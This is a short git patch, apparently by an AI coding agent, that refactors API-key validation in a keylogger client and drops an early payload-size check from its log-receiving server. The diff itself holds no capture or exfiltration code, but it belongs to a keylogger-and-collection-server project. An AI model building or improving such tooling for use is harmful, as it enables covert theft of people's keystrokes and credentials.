From d61ff1364e9ea002a37159a5f33e94f2e4283d58 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Sun, 19 Apr 2026 04:44:43 +0000 Subject: [PATCH] refactor: address validation review feedback Agent-Logs-Url: https://github.com/Stalin-143/Keylogger/sessions/cef34b0e-605b-4ab9-8da6-2559d1dd4529 Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com> --- src/keylogger.py | 8 ++++++-- src/server.py | 3 --- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/src/keylogger.py b/src/keylogger.py index 4295e5d..14537f4 100644 --- a/src/keylogger.py +++ b/src/keylogger.py @@ -227,8 +227,12 @@ def main(): print("Please set server_url in config/config.json or use --server-url argument.") sys.exit(1) - if not api_key or len(api_key) < 24: - print("Error: LOG_INGEST_API_KEY environment variable is required and must be at least 24 characters.") + if not api_key: + print("Error: LOG_INGEST_API_KEY environment variable is required.") + sys.exit(1) + + if len(api_key) < 24: + print("Error: LOG_INGEST_API_KEY must be at least 24 characters.") sys.exit(1) if args.no_verify_ssl: diff --git a/src/server.py b/src/server.py index a2f47da..a09b2a4 100644 --- a/src/server.py +++ b/src/server.py @@ -230,9 +230,6 @@ def receive_log(): if not has_valid_api_key(): return "Unauthorized", 401 - if request.content_length and request.content_length > MAX_LOG_PAYLOAD_BYTES: - return "Log payload too large", 413 - log_data = request.form.get('log', '') if log_data: if len(log_data.encode('utf-8')) > MAX_LOG_PAYLOAD_BYTES: